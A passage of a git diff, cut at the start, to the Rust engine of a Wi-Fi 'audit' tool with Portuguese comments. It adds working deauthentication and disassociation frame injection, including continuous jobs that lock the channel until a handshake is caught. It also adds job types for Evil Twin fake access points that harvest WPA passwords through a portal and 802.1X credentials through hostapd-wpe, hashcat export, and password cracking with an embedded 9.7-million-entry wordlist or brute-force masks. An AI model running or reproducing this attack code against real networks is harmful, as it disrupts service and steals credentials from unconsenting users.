!req.body.is_empty() { serde_json::from_slice::(&req.body) diff --git a/crates/sabia-core/src/engine.rs b/crates/sabia-core/src/engine.rs index 2ed2c1d..20f4ad7 100644 --- a/crates/sabia-core/src/engine.rs +++ b/crates/sabia-core/src/engine.rs @@ -89,6 +89,107 @@ pub struct ExportReport { pub handshakes: usize, } +#[derive(Debug, Clone, Serialize)] +pub struct WpsJobInfo { + pub id: String, + pub iface: String, + pub bssid: String, + pub tool: String, + pub status: String, + pub pin: Option, + pub password: Option, + pub output: Vec, + pub error: Option, + pub started_unix: u64, + pub finished_unix: Option, + pub pid: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct EvilTwinJobInfo { + pub id: String, + /// Interface que captura/desautentica o AP real. + pub iface: String, + /// Interface que hospeda o clone (precisa ser outra, em modo AP). + pub ap_iface: String, + pub ssid: String, + pub bssid: String, + pub portal_port: u16, + pub status: String, + /// Quantas vezes alguém submeteu uma senha no portal. + pub attempts: u32, + /// Última tentativa: "correct", "wrong" ou "invalid". + pub last_attempt: Option, + /// Só preenchido quando alguém digita a senha certa — conferida de + /// verdade contra o handshake, não é só o que foi digitado. + pub password: Option, + pub deauth_job: Option, + pub error: Option, + pub started_unix: u64, + pub finished_unix: Option, + #[serde(skip)] + pub hostapd_pid: Option, + #[serde(skip)] + pub dnsmasq_pid: Option, + #[serde(skip)] + pub stop: Option>, +} + +/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver +/// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem +/// portal/senha: a credencial é capturada automaticamente pelo próprio +/// handshake EAP, por isso o job só expõe quantas identidades já apareceram +/// no log do hostapd-wpe e o caminho do arquivo pra quebra offline. +#[derive(Debug, Clone, Serialize)] +pub struct EnterpriseTwinJobInfo { + pub id: String, + pub iface: String, + pub ap_iface: String, + pub ssid: String, + pub bssid: String, + pub status: String, + pub captured: u32, + pub last_identity: Option, + pub log_path: String, + pub error: Option, + pub started_unix: u64, + pub finished_unix: Option, + #[serde(skip)] + pub hostapd_pid: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct PmkidReport { + pub iface: String, + pub bssid: String, + pub ssid: Option, + pub station: String, + pub frames_sent: usize, + pub pmkid: Option, + pub handshakes: usize, + pub detail: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct PmfReport { + pub iface: String, + pub bssid: String, + pub station: String, + pub frames_sent: usize, + pub reconnected: bool, + pub packets_before: u64, + pub packets_after: u64, + pub verdict: String, + pub detail: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct HashcatReport { + pub path: String, + pub hashes: usize, + pub handshakes: usize, +} + #[derive(Debug, Clone, Serialize)] pub struct DeauthReport { pub iface: String, @@ -96,12 +197,43 @@ pub struct DeauthReport { pub station: String, pub reason: u16, pub frames_sent: usize, + pub direction: String, + pub frame_kind: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct DeauthJobInfo { + pub id: String, + pub iface: String, + pub bssid: String, + pub station: Option, + pub reason: u16, + pub direction: String, + pub frame_kind: String, + pub interval_ms: u64, + pub max_secs: Option, + pub frames_sent: usize, + pub channel: Option, + pub stop_on_handshake: bool, + pub handshake: bool, + pub status: String, + pub error: Option, + pub started_unix: u64, + pub finished_unix: Option, +} + +struct DeauthJob { + info: Arc>, + stop: Arc, + handle: Option>, + locked_channel: Option, } struct Session { table: Arc>, running: Arc, channel: Arc>>, + locked_channel: Arc>>, channels: Vec, started_unix: u64, pcap_out: Option, @@ -113,6 +245,14 @@ pub struct Engine { sessions: Mutex>, jobs: Mutex>>>, job_seq: AtomicU64, + deauth_jobs: Mutex>, + deauth_seq: AtomicU64, + wps_jobs: Mutex>>>, + wps_seq: AtomicU64, + eviltwin_jobs: Mutex>>>, + eviltwin_seq: AtomicU64, + enterprise_twin_jobs: Mutex>>>, + enterprise_twin_seq: AtomicU64, audit_path: PathBuf, audit_lock: Arc>, } @@ -129,10 +269,20 @@ impl Engine { } pub fn with_audit_path(path: impl Into) -> Self { + #[cfg(target_os = "linux")] + self_heal_eviltwin_leftovers(); Self { sessions: Mutex::new(HashMap::new()), jobs: Mutex::new(HashMap::new()), job_seq: AtomicU64::new(0), + deauth_jobs: Mutex::new(HashMap::new()), + deauth_seq: AtomicU64::new(0), + wps_jobs: Mutex::new(HashMap::new()), + wps_seq: AtomicU64::new(0), + eviltwin_jobs: Mutex::new(HashMap::new()), + eviltwin_seq: AtomicU64::new(0), + enterprise_twin_jobs: Mutex::new(HashMap::new()), + enterprise_twin_seq: AtomicU64::new(0), audit_path: path.into(), audit_lock: Arc::new(Mutex::new(())), } @@ -146,6 +296,72 @@ impl Engine { &self.audit_path } + /// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o + /// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread + /// de limpeza do Evil Twin faria no fim normal do job: mata + /// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro + /// NetworkManager — sem isso o processo morre com as duas interfaces + /// presas em `managed no` e o Wi-Fi some do painel do sistema até o + /// próximo início do engine rodar `self_heal_eviltwin_leftovers`. + #[cfg(target_os = "linux")] + pub fn shutdown_cleanup(&self) { + use std::process::Command; + let jobs: Vec<_> = self + .eviltwin_jobs + .lock() + .unwrap() + .values() + .cloned() + .collect(); + for job in jobs { + let guard = job.lock().unwrap(); + if guard.status != "running" { + continue; + } + if let Some(pid) = guard.hostapd_pid { + unsafe { libc::kill(pid as i32, libc::SIGTERM) }; + } + if let Some(pid) = guard.dnsmasq_pid { + unsafe { libc::kill(pid as i32, libc::SIGTERM) }; + } + for rule in crate::eviltwin::iptables_cleanup_rules(&guard.ap_iface, guard.portal_port) + { + let _ = Command::new("iptables").args(&rule).status(); + } + let _ = Command::new("nmcli") + .args(["device", "set", &guard.ap_iface, "managed", "yes"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", &guard.iface, "managed", "yes"]) + .status(); + } + let enterprise_jobs: Vec<_> = self + .enterprise_twin_jobs + .lock() + .unwrap() + .values() + .cloned() + .collect(); + for job in enterprise_jobs { + let guard = job.lock().unwrap(); + if guard.status != "running" { + continue; + } + if let Some(pid) = guard.hostapd_pid { + unsafe { libc::kill(pid as i32, libc::SIGTERM) }; + } + let _ = Command::new("nmcli") + .args(["device", "set", &guard.ap_iface, "managed", "yes"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", &guard.iface, "managed", "yes"]) + .status(); + } + } + + #[cfg(not(target_os = "linux"))] + pub fn shutdown_cleanup(&self) {} + pub fn list_ifaces(&self) -> Result> { iface::list_wireless() } @@ -159,7 +375,25 @@ impl Engine { if !enable { self.stop_scan(name); } - netlink::set_monitor_mode(name, enable)?; + // Visto ao vivo: com a interface ainda sob o NetworkManager, ele + // reage ao modo monitor como uma desconexão e reconecta a interface + // de volta em managed — às vezes rápido o bastante pra já estar + // gerenciada nem dez segundos depois do botão "ativar modo monitor" + // mostrar sucesso, e a captura falha com "está em modo managed" + // mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM + // antes/depois de trocar o modo (best-effort: segue sem nmcli). + if enable { + let _ = std::process::Command::new("nmcli") + .args(["device", "set", name, "managed", "no"]) + .status(); + } + let result = netlink::set_monitor_mode(name, enable); + if !enable && result.is_ok() { + let _ = std::process::Command::new("nmcli") + .args(["device", "set", name, "managed", "yes"]) + .status(); + } + result?; self.log( "monitor_mode", name, @@ -185,6 +419,27 @@ impl Engine { Ok(()) } + /// Trava a captura em um canal (ou volta a pular canais com `None`). + /// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o + /// ataque está em andamento. + pub fn lock_channel(&self, name: &str, channel: Option) -> Result<()> { + if let Some(channel) = channel { + netlink::set_channel(name, channel)?; + } + if let Some(session) = self.sessions.lock().unwrap().get(name) { + *session.locked_channel.lock().unwrap() = channel; + if let Some(channel) = channel { + *session.channel.lock().unwrap() = Some(channel); + } + } + self.log( + "lock_channel", + name, + serde_json::json!({ "channel": channel }), + ); + Ok(()) + } + pub fn start_scan(&self, name: &str) -> Result<()> { self.start_scan_with(name, ScanOptions::default()) } @@ -221,6 +476,7 @@ impl Engine { let table = Arc::new(Mutex::new(ScanTable::new())); let running = Arc::new(AtomicBool::new(true)); let channel = Arc::new(Mutex::new(None)); + let locked_channel = Arc::new(Mutex::new(None)); let error = Arc::new(Mutex::new(None)); let started_unix = unix_now(); let pcap_out = options.pcap_out.clone(); @@ -228,6 +484,7 @@ impl Engine { let t = table.clone(); let r = running.clone(); let ch = channel.clone(); + let lock = locked_channel.clone(); let err_slot = error.clone(); let iface_name = name.to_string(); let audit_path = self.audit_path.clone(); @@ -241,12 +498,14 @@ impl Engine { let channels = thread_channels; let mut writer = writer; let mut idx = 0usize; + let mut tuned = None; let mut last_hop = Instant::now(); let mut buf = [0u8; 65535]; if !channels.is_empty() { let first = channels[0]; if netlink::set_channel(&iface_name, first).is_ok() { + tuned = Some(first); *ch.lock().unwrap() = Some(first); } } @@ -255,10 +514,17 @@ impl Engine { if deadline.is_some_and(|d| Instant::now() >= d) { break; } - if channels.len() > 1 && last_hop.elapsed() >= hop { + let locked = *lock.lock().unwrap(); + if let Some(target) = locked { + if tuned != Some(target) && netlink::set_channel(&iface_name, target).is_ok() { + tuned = Some(target); + *ch.lock().unwrap() = Some(target); + } + } else if channels.len() > 1 && last_hop.elapsed() >= hop { idx = (idx + 1) % channels.len(); let next = channels[idx]; if netlink::set_channel(&iface_name, next).is_ok() { + tuned = Some(next); *ch.lock().unwrap() = Some(next); } last_hop = Instant::now(); @@ -309,6 +575,7 @@ impl Engine { table, running, channel, + locked_channel, channels, started_unix, pcap_out, @@ -331,6 +598,7 @@ impl Engine { } pub fn stop_scan(&self, name: &str) { + let _ = self.stop_deauth_for_iface(name); let handle = { let mut sessions = self.sessions.lock().unwrap(); match sessions.get_mut(name) { @@ -377,14 +645,39 @@ impl Engine { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); + let analysis = table.analysis(); + let stats = table.stats(); + let running = session.running.load(Ordering::SeqCst); + // Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro + // na hora de ativar) e ainda assim nunca entregar um quadro de + // verdade pro socket de captura — comum em Wi-Fi interna de + // notebook, cujo firmware ignora o pedido de modo promíscuo. 12s + // dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem + // achar nem um beacon, o que nunca acontece de verdade num ambiente + // com Wi-Fi ao redor — é sinal de que a placa não está entregando + // quadro nenhum, não que o ar está vazio. + let warning = if running + && stats.frames == 0 + && unix_now().saturating_sub(session.started_unix) >= 12 + { + Some( + "Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção." + .to_string(), + ) + } else { + None + }; let snapshot = ScanSnapshot { iface: name.to_string(), - running: session.running.load(Ordering::SeqCst), + running, channel: *session.channel.lock().unwrap(), - stats: table.stats(), + stats, access_points: table.access_points(), clients: table.clients(), handshakes: table.handshakes(), + analysis, + error: session.error.lock().unwrap().clone(), + warning, }; drop(table); drop(sessions); @@ -424,6 +717,7 @@ impl Engine { while let Some(frame) = reader.next_frame()? { table.ingest(&frame.data); } + let analysis = table.analysis(); Ok(ScanSnapshot { iface: path.display().to_string(), running: false, @@ -432,6 +726,30 @@ impl Engine { access_points: table.access_points(), clients: table.clients(), handshakes: table.handshakes(), + analysis, + error: None, + warning: None, + }) + } + + /// Modelo completo do relatório: snapshot atual + trilha de auditoria. + /// A interface renderiza com Paged.js; a mesma estrutura vira HTML + /// standalone no servidor local. + pub fn report(&self, name: &str) -> Result { + let snapshot = self.scan_snapshot(name)?; + let audit = self.audit_entries(Some(60)).unwrap_or_default(); + Ok(crate::report::ReportModel { + title: format!("Auditoria Wi-Fi · {name}"), + version: self.version().to_string(), + iface: snapshot.iface, + running: snapshot.running, + generated_unix: unix_now(), + stats: snapshot.stats, + access_points: snapshot.access_points, + clients: snapshot.clients, + handshakes: snapshot.handshakes, + analysis: snapshot.analysis, + audit, }) } @@ -524,19 +842,110 @@ impl Engine { }) } + pub fn export_hc22000( + &self, + name: &str, + bssid: &str, + station: &str, + out: impl AsRef, + ) -> Result { + let hs = self + .session_handshake(name, bssid, station)? + .ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?; + let lines = crate::hashcat::export([&hs]); + if lines.is_empty() { + return Err(SabiaError::InvalidInput( + "handshake sem SSID, PMKID ou mensagem 2 para exportar".into(), + )); + } + let path = out.as_ref(); + std::fs::write(path, format!("{}\n", lines.join("\n")))?; + self.log( + "export_hc22000", + name, + serde_json::json!({ "bssid": bssid, "station": station, "path": path, "hashes": lines.len() }), + ); + Ok(HashcatReport { + path: path.display().to_string(), + hashes: lines.len(), + handshakes: 1, + }) + } + + pub fn export_all_hc22000(&self, name: &str, out: impl AsRef) -> Result { + let entries = { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })?; + let table = session.table.lock().unwrap(); + table.handshake_entries() + }; + let lines = crate::hashcat::export(entries.iter()); + if lines.is_empty() { + return Err(SabiaError::InvalidInput( + "nenhum handshake com material para .hc22000".into(), + )); + } + let path = out.as_ref(); + std::fs::write(path, format!("{}\n", lines.join("\n")))?; + self.log( + "export_hc22000_all", + name, + serde_json::json!({ "path": path, "hashes": lines.len() }), + ); + Ok(HashcatReport { + path: path.display().to_string(), + hashes: lines.len(), + handshakes: entries.len(), + }) + } + pub fn start_crack( &self, name: &str, bssid: Option<&str>, station: Option<&str>, wordlist: impl AsRef, + apply_rules: bool, ) -> Result { - let wordlist = wordlist.as_ref(); - if !wordlist.is_file() { - return Err(SabiaError::InvalidInput(format!( - "dicionário não encontrado: {}", - wordlist.display() - ))); + self.start_crack_inner( + name, + bssid, + station, + Some(wordlist.as_ref().to_path_buf()), + apply_rules, + ) + } + + /// Quebra com o dicionário embutido (9,7 milhões de senhas reais, + /// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo. + /// É o padrão do botão “Quebrar senha”. + pub fn start_crack_default( + &self, + name: &str, + bssid: Option<&str>, + station: Option<&str>, + apply_rules: bool, + ) -> Result { + self.start_crack_inner(name, bssid, station, None, apply_rules) + } + + fn start_crack_inner( + &self, + name: &str, + bssid: Option<&str>, + station: Option<&str>, + wordlist: Option, + apply_rules: bool, + ) -> Result { + if let Some(wordlist) = &wordlist { + if !wordlist.is_file() { + return Err(SabiaError::InvalidInput(format!( + "dicionário não encontrado: {}", + wordlist.display() + ))); + } } let table = { let sessions = self.sessions.lock().unwrap(); @@ -575,21 +984,28 @@ impl Engine { let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let iface_name = name.to_string(); - let wordlist_path = wordlist.to_path_buf(); let job_thread = job.clone(); let hs_bssid = hs.bssid.clone(); let hs_station = hs.station.clone(); - let thread_wordlist = wordlist_path.clone(); + let wordlist_label = wordlist + .as_ref() + .map(|p| p.display().to_string()) + .unwrap_or_else(|| "dicionário embutido (9,7 milhões de senhas)".into()); + let thread_wordlist = wordlist; let thread_bssid = hs_bssid.clone(); let thread_station = hs_station.clone(); std::thread::spawn(move || { let progress_job = job_thread.clone(); - let result = crack::crack_handshake(&hs, &thread_wordlist, move |tried| { + let mut progress = move |tried| { if let Ok(mut j) = progress_job.lock() { j.tried = tried; } - }); + }; + let result = match &thread_wordlist { + Some(path) => crack::crack_handshake(&hs, path, apply_rules, &mut progress), + None => crack::crack_handshake_default(&hs, apply_rules, &mut progress), + }; let mut guard = job_thread.lock().unwrap(); guard.finished_unix = Some(unix_now()); match result { @@ -627,7 +1043,124 @@ impl Engine { self.log( "crack_start", name, - serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "wordlist": wordlist_path }), + serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "wordlist": wordlist_label }), + ); + Ok(id) + } + + /// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem + /// dicionário. `max_candidates` é um limite de segurança — máscaras + /// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a + /// máquina por dias; recusa de cara em vez de deixar o job rodar pra + /// sempre sem avisar. + pub fn start_crack_mask( + &self, + name: &str, + bssid: Option<&str>, + station: Option<&str>, + mask: &str, + max_candidates: u64, + ) -> Result { + let mask = crate::rules::Mask::parse(mask).map_err(SabiaError::InvalidInput)?; + let total = mask.total().ok_or_else(|| { + SabiaError::InvalidInput("máscara grande demais pra calcular o total".into()) + })?; + if total > max_candidates { + return Err(SabiaError::InvalidInput(format!( + "máscara tem {total} combinações, acima do limite de {max_candidates} — \ + restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar" + ))); + } + + let table = { + let sessions = self.sessions.lock().unwrap(); + sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })? + }; + let hs = { + let table = table.lock().unwrap(); + match (bssid, station) { + (Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(), + (Some(b), None) => table.first_crackable(Some(b), None).cloned(), + (None, Some(s)) => table.first_crackable(None, Some(s)).cloned(), + (None, None) => table.first_crackable(None, None).cloned(), + } + } + .ok_or_else(|| { + SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into()) + })?; + + let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1); + let job = Arc::new(Mutex::new(CrackJobInfo { + id: id.clone(), + iface: name.to_string(), + bssid: Some(hs.bssid.clone()), + station: Some(hs.station.clone()), + status: "running".into(), + tried: 0, + started_unix: unix_now(), + finished_unix: None, + report: None, + error: None, + })); + self.jobs.lock().unwrap().insert(id.clone(), job.clone()); + + let audit_path = self.audit_path.clone(); + let audit_lock = self.audit_lock.clone(); + let iface_name = name.to_string(); + let job_thread = job.clone(); + let hs_bssid = hs.bssid.clone(); + let hs_station = hs.station.clone(); + let thread_bssid = hs_bssid.clone(); + let thread_station = hs_station.clone(); + + std::thread::spawn(move || { + let progress_job = job_thread.clone(); + let mut progress = move |tried| { + if let Ok(mut j) = progress_job.lock() { + j.tried = tried; + } + }; + let result = crack::crack_handshake_mask(&hs, &mask, &mut progress); + let mut guard = job_thread.lock().unwrap(); + guard.finished_unix = Some(unix_now()); + match result { + Ok(report) => { + guard.status = "done".into(); + guard.tried = report.tried; + if let Some(password) = report.password.as_deref() { + table.lock().unwrap().set_password( + &thread_bssid, + &thread_station, + password, + ); + append_audit( + &audit_path, + &audit_lock, + "crack_success", + &iface_name, + &serde_json::json!({ + "bssid": thread_bssid, + "station": thread_station, + "tried": report.tried, + "elapsed_ms": report.elapsed_ms, + }), + ); + } + guard.report = Some(report); + } + Err(e) => { + guard.status = "error".into(); + guard.error = Some(e.to_string()); + } + } + }); + + self.log( + "crack_start", + name, + serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "mask": true, "total": total }), ); Ok(id) } @@ -659,6 +1192,22 @@ impl Engine { station: Option<&str>, count: u32, reason: u16, + ) -> Result { + self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth") + } + + /// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`. + /// `frame_kind`: `deauth` ou `disassoc`. + #[allow(clippy::too_many_arguments)] + pub fn deauth_directional( + &self, + name: &str, + bssid: &str, + station: Option<&str>, + count: u32, + reason: u16, + direction: &str, + frame_kind: &str, ) -> Result { use crate::inject::{self, RawInjector}; @@ -667,6 +1216,21 @@ impl Engine { "quantidade de quadros deve ficar entre 1 e 256".into(), )); } + if !matches!(direction, "ap" | "sta" | "both") { + return Err(SabiaError::InvalidInput( + "direção inválida: use ap, sta ou both".into(), + )); + } + if !matches!(frame_kind, "deauth" | "disassoc") { + return Err(SabiaError::InvalidInput( + "quadro inválido: use deauth ou disassoc".into(), + )); + } + if direction != "ap" && station.is_none() { + return Err(SabiaError::InvalidInput( + "direção sta/both exige a estação alvo".into(), + )); + } let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( @@ -674,18 +1238,34 @@ impl Engine { ))); } let ap = parse_mac(bssid)?; - let dest = match station { - Some(s) => parse_mac(s)?, - None => inject::BROADCAST, - }; + let sta = station.map(parse_mac).transpose()?; + let dest = sta.unwrap_or(inject::BROADCAST); let reason = inject::Reason::from_u16(reason); - let frame = inject::deauth_frame(ap, dest, reason); + + let build = |transmitter: [u8; 6], destination: [u8; 6]| { + if frame_kind == "disassoc" { + inject::disassoc_frame_from(transmitter, ap, destination, reason) + } else { + inject::deauth_frame_from(transmitter, ap, destination, reason) + } + }; + let frames: Vec> = match direction { + "ap" => vec![build(ap, dest)], + "sta" => vec![build(dest, ap)], + _ => vec![build(ap, dest), build(dest, ap)], + }; let injector = RawInjector::open(name)?; let mut frames_sent = 0usize; + let mut seq: u16 = 0; for _ in 0..count { - injector.send(&frame)?; - frames_sent += 1; + for frame in &frames { + let mut frame = frame.clone(); + seq = seq.wrapping_add(1); + inject::set_seq(&mut frame, seq); + injector.send(&frame)?; + frames_sent += 1; + } std::thread::sleep(Duration::from_millis(10)); } @@ -695,6 +1275,8 @@ impl Engine { station: station.unwrap_or("ff:ff:ff:ff:ff:ff").to_string(), reason, frames_sent, + direction: direction.to_string(), + frame_kind: frame_kind.to_string(), }; self.log( "deauth", @@ -704,11 +1286,449 @@ impl Engine { "station": report.station, "reason": reason, "frames": frames_sent, + "direction": direction, + "frame_kind": frame_kind, }), ); Ok(report) } + /// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da + /// captura é travado no canal do AP enquanto o job roda, senão o salto de + /// canais faria os quadros saírem na frequência errada e perderia o + /// handshake. `stop_on_handshake` encerra sozinho quando o par + /// (BSSID, estação) fica quebrável. + #[cfg(target_os = "linux")] + #[allow(clippy::too_many_arguments)] + pub fn start_deauth_job( + &self, + name: &str, + bssid: &str, + station: Option<&str>, + reason: u16, + direction: &str, + frame_kind: &str, + interval_ms: u64, + max_secs: Option, + stop_on_handshake: bool, + ) -> Result { + self.start_deauth_job_burst( + name, + bssid, + station, + reason, + direction, + frame_kind, + interval_ms, + max_secs, + stop_on_handshake, + 1, + ) + } + + #[cfg(target_os = "linux")] + #[allow(clippy::too_many_arguments)] + fn start_deauth_job_burst( + &self, + name: &str, + bssid: &str, + station: Option<&str>, + reason: u16, + direction: &str, + frame_kind: &str, + interval_ms: u64, + max_secs: Option, + stop_on_handshake: bool, + burst: u32, + ) -> Result { + use crate::inject::{self, RawInjector}; + + if !matches!(direction, "ap" | "sta" | "both") { + return Err(SabiaError::InvalidInput( + "direção inválida: use ap, sta ou both".into(), + )); + } + if !matches!(frame_kind, "deauth" | "disassoc") { + return Err(SabiaError::InvalidInput( + "quadro inválido: use deauth ou disassoc".into(), + )); + } + if direction != "ap" && station.is_none() { + return Err(SabiaError::InvalidInput( + "direção sta/both exige a estação alvo".into(), + )); + } + let info = iface::get(name)?; + if info.mode == Mode::Managed { + return Err(SabiaError::InvalidInput(format!( + "{name} está em modo managed; ative o modo monitor antes de injetar" + ))); + } + let ap = parse_mac(bssid)?; + let sta = station.map(parse_mac).transpose()?; + let dest = sta.unwrap_or(inject::BROADCAST); + let reason_enum = inject::Reason::from_u16(reason); + let interval = Duration::from_millis(interval_ms.clamp(50, 5_000)); + let max_secs = max_secs.map(|s| s.clamp(1, 3_600)); + + let already_running = self.deauth_jobs.lock().unwrap().values().any(|j| { + let info = j.info.lock().unwrap(); + info.iface == name && info.status == "running" + }); + if already_running { + return Err(SabiaError::InvalidInput(format!( + "já existe um job de desautenticação em execução em {name}" + ))); + } + + let (table, channel, lock_slot) = { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!( + "inicie a captura em {name} antes de iniciar o job" + )) + })?; + if !session.running.load(Ordering::SeqCst) { + return Err(SabiaError::InvalidInput(format!( + "a captura em {name} não está ativa" + ))); + } + let channel = session + .table + .lock() + .unwrap() + .access_points() + .into_iter() + .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) + .and_then(|a| a.channel) + .or(*session.channel.lock().unwrap()); + ( + session.table.clone(), + channel, + session.locked_channel.clone(), + ) + }; + if let Some(channel) = channel { + netlink::set_channel(name, channel)?; + *lock_slot.lock().unwrap() = Some(channel); + } + + let build = |transmitter: [u8; 6], destination: [u8; 6]| { + if frame_kind == "disassoc" { + inject::disassoc_frame_from(transmitter, ap, destination, reason_enum) + } else { + inject::deauth_frame_from(transmitter, ap, destination, reason_enum) + } + }; + let frames: Vec> = match direction { + "ap" => vec![build(ap, dest)], + "sta" => vec![build(dest, ap)], + _ => vec![build(ap, dest), build(dest, ap)], + }; + let injector = RawInjector::open(name)?; + + let id = format!( + "deauth-{}", + self.deauth_seq.fetch_add(1, Ordering::SeqCst) + 1 + ); + let info = Arc::new(Mutex::new(DeauthJobInfo { + id: id.clone(), + iface: name.to_string(), + bssid: bssid.to_string(), + station: station.map(str::to_string), + reason, + direction: direction.to_string(), + frame_kind: frame_kind.to_string(), + interval_ms: interval.as_millis() as u64, + max_secs, + frames_sent: 0, + channel, + stop_on_handshake, + handshake: false, + status: "running".into(), + error: None, + started_unix: unix_now(), + finished_unix: None, + })); + let stop = Arc::new(AtomicBool::new(false)); + let thread_info = info.clone(); + let thread_stop = stop.clone(); + let thread_table = table; + let thread_lock = lock_slot.clone(); + let iface_name = name.to_string(); + let bssid_owned = bssid.to_string(); + let station_owned = station.map(str::to_string); + let audit_path = self.audit_path.clone(); + let audit_lock = self.audit_lock.clone(); + + let burst = burst.max(1); + let handle = std::thread::spawn(move || { + let started = Instant::now(); + let mut frames_sent = 0usize; + let mut seq: u16 = 0; + let mut error = None; + let mut handshake = false; + let handshake_ready = || { + let table = thread_table.lock().unwrap(); + table.handshakes().iter().any(|h| { + h.bssid.eq_ignore_ascii_case(&bssid_owned) + && h.crackable + && match station_owned.as_deref() { + Some(station) => station.eq_ignore_ascii_case(&h.station), + None => true, + } + }) + }; + while !thread_stop.load(Ordering::SeqCst) { + if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) { + break; + } + // Confere antes de uma nova rajada para não interromper um + // handshake que chegou enquanto o job esperava a reassociação. + if stop_on_handshake && handshake_ready() { + handshake = true; + break; + } + for round in 0..burst { + for frame in &frames { + let mut frame = frame.clone(); + seq = seq.wrapping_add(1); + inject::set_seq(&mut frame, seq); + if let Err(e) = injector.send(&frame) { + error = Some(e.to_string()); + break; + } + frames_sent += 1; + } + if error.is_some() { + break; + } + if burst > 1 && round + 1 < burst { + std::thread::sleep(Duration::from_millis(20)); + } + } + if let Ok(mut j) = thread_info.lock() { + j.frames_sent = frames_sent; + } + if error.is_some() { + break; + } + if stop_on_handshake && handshake_ready() { + handshake = true; + break; + } + std::thread::sleep(interval); + } + *thread_lock.lock().unwrap() = None; + let stopped = thread_stop.load(Ordering::SeqCst); + let mut guard = thread_info.lock().unwrap(); + guard.frames_sent = frames_sent; + guard.handshake = handshake; + guard.finished_unix = Some(unix_now()); + guard.status = if error.is_some() { + "error".into() + } else if stopped { + "stopped".into() + } else { + "done".into() + }; + guard.error = error; + let status = guard.status.clone(); + drop(guard); + append_audit( + &audit_path, + &audit_lock, + "deauth_job", + &iface_name, + &serde_json::json!({ + "bssid": bssid_owned, + "station": station_owned, + "frames": frames_sent, + "status": status, + "handshake": handshake, + }), + ); + }); + + self.deauth_jobs.lock().unwrap().insert( + id.clone(), + DeauthJob { + info: info.clone(), + stop, + handle: Some(handle), + locked_channel: channel, + }, + ); + self.log( + "deauth_start", + name, + serde_json::json!({ + "job": id, + "bssid": bssid, + "station": station, + "direction": direction, + "frame_kind": frame_kind, + "channel": channel, + }), + ); + Ok(id) + } + + #[cfg(not(target_os = "linux"))] + #[allow(clippy::too_many_arguments)] + pub fn start_deauth_job( + &self, + _name: &str, + _bssid: &str, + _station: Option<&str>, + _reason: u16, + _direction: &str, + _frame_kind: &str, + _interval_ms: u64, + _max_secs: Option, + _stop_on_handshake: bool, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + + #[cfg(target_os = "linux")] + pub fn stop_deauth_job(&self, id: &str) -> Result<()> { + let (stop, handle, info, channel) = { + let mut jobs = self.deauth_jobs.lock().unwrap(); + let job = jobs + .get_mut(id) + .ok_or_else(|| SabiaError::InvalidInput("job de deauth não encontrado".into()))?; + job.stop.store(true, Ordering::SeqCst); + ( + job.stop.clone(), + job.handle.take(), + job.info.clone(), + job.locked_channel, + ) + }; + if let Some(handle) = handle { + let _ = handle.join(); + } + let _ = stop; + let mut guard = info.lock().unwrap(); + if guard.status == "running" { + guard.status = "stopped".into(); + guard.finished_unix = Some(unix_now()); + } + let iface = guard.iface.clone(); + drop(guard); + if channel.is_some() { + if let Some(session) = self.sessions.lock().unwrap().get(&iface) { + *session.locked_channel.lock().unwrap() = None; + } + } + Ok(()) + } + + #[cfg(not(target_os = "linux"))] + pub fn stop_deauth_job(&self, _id: &str) -> Result<()> { + Err(SabiaError::UnsupportedPlatform) + } + + pub fn deauth_job(&self, id: &str) -> Option { + self.deauth_jobs + .lock() + .unwrap() + .get(id) + .map(|j| j.info.lock().unwrap().clone()) + } + + pub fn deauth_jobs(&self) -> Vec { + let jobs = self.deauth_jobs.lock().unwrap(); + let mut out: Vec<_> = jobs + .values() + .map(|j| j.info.lock().unwrap().clone()) + .collect(); + out.sort_by(|a, b| { + b.started_unix + .cmp(&a.started_unix) + .then_with(|| a.id.cmp(&b.id)) + }); + out + } + + 